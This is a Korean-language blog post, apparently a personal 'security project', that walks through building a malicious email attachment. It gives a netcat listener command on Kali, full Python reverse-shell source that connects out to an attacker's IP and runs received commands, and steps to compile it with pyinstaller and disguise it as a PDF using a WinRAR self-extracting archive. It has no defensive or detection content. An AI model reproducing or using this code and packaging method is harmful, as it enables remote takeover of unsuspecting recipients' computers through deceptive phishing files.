본문 바로가기

보안 프로젝트

리버스 쉘을 이용한 악성메일 구현

반응형

안녕하세요. 마지막 글을 작성하고 많은 시간이 지났네요.

 

이번에 새로운 카테고리로 글을 작성하게 되었습니다.

 

오늘 제가 소개 할 내용은 악성메일을 통한 해킹방법입니다.

 

해당 프로젝트의 경우 3단계로 수행됩니다.

 

1단계

kali Linux에서 reverse shell 환경 설정

1. Kali Linux란

칼리 리눅스란 고급 침투 테스트 및 보안에 특화된 리눅스 기반 운영체제입니다

칼리 리눅스에는 침투 테스트, 보안 연구, 리버스 엔지니어링등 다양한 정보 보안을 수행 할 수 있는 도구들이 있습니다.

칼리 리눅스의 경우 가상 컴퓨터를 다운받아서 칼리 리눅스를 Debian으로 사용하면 됩니다.

 

2. reverse shell이란

리버스 쉘이란 공격자가 피해자 pc에 백도어를 설치하여 제어할 수 있는 환경을 구성하는 기술으로,

리버스 쉘을 이용하면 공격자는 공격 대상 시스템에서 특정 포트로 연결 가능한 쉘을 실행시켜 원격으로 시스템을 제어 할 수 있습니다.

 

3.  netcat이란 

netcat은 TCP 또는 UDP 프로토콜을 사용하여 네트워크 연결을 통해 데이터를 읽고 쓰는 명령줄 유틸리티입니다.

linux 기반 OS에서는 대부분 설치되어 있거나 terminal에서 간단한 명령줄로 설치할 수 있습니다.

window에서 역시 netcat은 사용이 가능합니다.

 

4. 실습

 

해당 단계의 실습 과정으로는

우선 칼리 리눅스를 실행하고 terminal을 켭니다.

이후 

service ssh start //shell 켜기
nc -lvp 8888 //8888번 port로 연결

 

터미널에서 해당 명령어를 실행하면 칼리에서의 리버스 쉘 연결을 위한 준비는 끝납니다.

 

 

2단계

1. Python을 이용한 reverse shell 구현 방법

import socket
import subprocess

def connect(ip, port):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, port))
        return s
    except Exception as e:
        print("[-] Connection failed:", e)
        return None

def main():
    ip = ''  # 공격자의 IP 주소를 입력하세요
    port =   # 공격자의 포트 번호를 입력하세요
    s = connect(ip, port)
    if s:
        while True:
            command = s.recv(1024).decode()
            if 'exit' in command.lower():
                s.close()
                break
            try:
                output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
                s.sendall(output)
            except Exception as e:
                s.sendall(str(e).encode())
                pass

if __name__ == "__main__":
    main()

 

2. 위 Python file을 exe 파일로 만들기

우리는 이 파일을 실행하면 바로 수행되게 해줘야 합니다.

따라서 exe파일로 변환해줄겁니다.

 

pip를 이용하여 pyinstaller로 .py 파일을 .exe 파일로 만들어줍니다.

 

 

3단계

우리는 이제 sfx 압축을 통해 위 파이썬 실행파일을 일반적인 pdf파일로 위장해야됩니다.

sfx 압축의 경우

https://www.win-rar.com/download.html?&L=0

 

WinRAR Download Latest Version

WinRAR - the data compression, encryption and archiving tool for Windows that opens RAR and ZIP files. Compatible with many other file formats.

www.win-rar.com

 

해당 링크를 통해 sfx 압축을 위한 프로그램을 다운받을 수 있습니다.

 

 

이후 sfx 작업을 다 하게 되면

 

이렇게 새로운 팦일이 생기게 되고

해당 프로그램을 실행하면 정상적으로 pdf파일도 실행되지만 exe파일도 함께 실행되게 됩니다.

 

결과

 

리버스 쉘의 논리를 기반으로 다시 설명해보자면

공격자 pc에서 포트 번호를 열고 대기하고 있다면

클라이언트(피해자) pc에서 pdf파일을 실행하는 순간, 내부에서 공격자 pc의 ip 주소를 기반으로

쉘을 열게 되고 순차적으로 공격자 pc가 들어갈 수 있게 되는겁니다.

 

위의 모자이크 부분 역시 칼리 리눅스 본인의 ip주소로, 상대방의 ip주소는 리버스쉘이므로 몰라도 됩니다.

 

 

이렇게 이번 글은 끝내보겠습니다.

 

다음번에는 좀 더 괜찮은거 가져와보겠습니다.

괜찮은 주제 있는지도 찾아봐야되고, 

이번에 조그마한 프로젝트도 한 번 해보니

아는 만큼 보인다고

이 책 오랫만에 다시 읽어보며

다음 글까지 좀 시간이 걸릴 것 같습니다.

 

감사합니다.

반응형